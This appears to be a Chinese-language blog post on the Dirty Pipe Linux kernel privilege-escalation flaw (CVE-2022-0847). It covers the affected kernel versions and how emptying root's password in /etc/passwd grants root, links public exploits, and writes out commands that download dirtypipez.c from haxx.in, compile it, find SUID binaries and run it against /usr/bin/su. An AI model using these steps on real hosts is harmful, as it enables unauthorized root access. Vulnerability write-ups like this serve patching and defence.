CVE-2022-0847 Dirty Pipe Linux 内核提权漏洞

CVE-2022-0847 于 2022-03-07 公开披露,发现者 Max Kellermann 研究员将该漏洞命名为 Dirty Pipe(脏管道)。由作者原文 [1]:可得知该漏洞影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102。它允许覆盖任意只读文件中的数据,因此重写覆盖 /etc/passwd 文件内容可实现提权。

/etc/passwd 这个文件保存了 Linux 上的所有用户信息,其各个字段的顺序和含义如下图:

image-20220308171130514

用户登录口令对应其中的 x 标志,如果删除了 root 用户后面的 x 标志,这就意味着为 root 用户设置了一个空密码,所以可以使用 su root 来提升权限而无需凭据。

exp https://github.com/imfiver/CVE-2022-0847 就是将 root 用户密码置空

image-20220308182303054

其核心代码来自 Max Kellermann 公开的概念验证代码。编译后,将原 /etc/passwd 备份一次,运行 exp 覆盖 /etc/passwd 文件

image-20220308183537227

image-20220308184251078

另一个 Github 高赞 exp: https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit,也是利用此类方式提权。

还有一种改进的利用方式(推荐):https://haxx.in/files/dirtypipez.c 覆盖 SUID 程序提权 [2]

wget https://haxx.in/files/dirtypipez.c
gcc -o dirtypipez dirtypipez.c
find / -perm -u=s -type f 2>/dev/null # 查找 SUID 程序
./dirtypipez /usr/bin/su

image-20220308185922908

修改链接格式
加载评论